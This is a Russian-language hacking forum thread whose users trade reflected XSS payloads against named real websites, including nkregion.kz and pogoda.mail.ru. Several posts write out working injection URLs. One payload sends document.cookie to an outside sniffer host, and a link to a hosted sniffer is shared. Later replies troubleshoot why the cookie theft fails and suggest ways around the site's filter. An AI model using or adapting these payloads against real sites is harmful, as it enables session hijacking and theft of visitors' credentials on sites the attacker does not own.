2 truelamer
на сайте есть намек на ХСС и даже возможно актив (хотя тут как посмотреть)
http://nkregion.kz/board/index.php?fid=3&id=18252
Кликни на "Отправить письмо автору" там откроется окошко в котором ник, половина его нормальная а половина уже после тега курсив. Дальше не рыл.... просто не успел

2 truelamer
http://nkregion.kz/board/index.php?fid=19КОД&id=52356

КОД '></title><SCRIPT>alert(/blabla/)</SCRIPT>


Блин, опера аж зависла никсовая от такого запроса (я серьёзно)

delete

Сниффер используй для перехвата данных.
Можешь использовать этот сниффер: http://system32.name/sniff/log.php

http://pogoda.mail.ru/?city=1301"><script>alert(document.cookie)</script>&extended=1

Простите, если боян))))
Работает и в Опере и в ИЕ)))
Но через сниффер не хочет передовать данные(( Почему?
Запрос подаю так: http://pogoda.mail.ru/?city=1301"><script>img = new Image(); img.src = "http://s.netsec.ru/plum.gif?"+document.cookie;</script>&extended=1

http://s.netsec.ru/plum.gif - Ссылка проверяна... просто так работает... А предовать дынные через mail не хочет((

Нашел на сайте уязвимости:

xss vulnerability : /lol/comment.php?entry=http://www.google.fr/webhp%3f<balisexss>%22%27
bad http code 404 /lol/?page=http://www.google.fr/webhp%3f<balisexss>%22%27&Submit=default

Что посоветуете?
ПОМОГИТЕ пожалуйста!!!

>> Что посоветуете?

Посоветую тебе не заёбывать людей логами с какого то сканера, а идти и почитать нормальные мануалы.

__________________
..

http://pogoda.mail.ru/?city=1301"><script>alert(document.cookie)</script>&extended=1

Простите, если боян))))
Работает и в Опере и в ИЕ)))
Но через сниффер не хочет передовать данные(( Почему?
Запрос подаю так: http://pogoda.mail.ru/?city=1301"><script>img = new Image(); img.src = "http://s.netsec.ru/plum.gif?"+document.cookie;</script>&extended=1

http://s.netsec.ru/plum.gif - Ссылка проверяна... просто так работает... А предовать дынные через mail не хочет((

2Tigger вот твоя проблема скажи честно ты в код страницы хоть заглядывал ?

фильтр как видно отсюда проглатывает все что после ";" и закрывает тег а алет у тебя работал по тому что там ";" нету попробуй так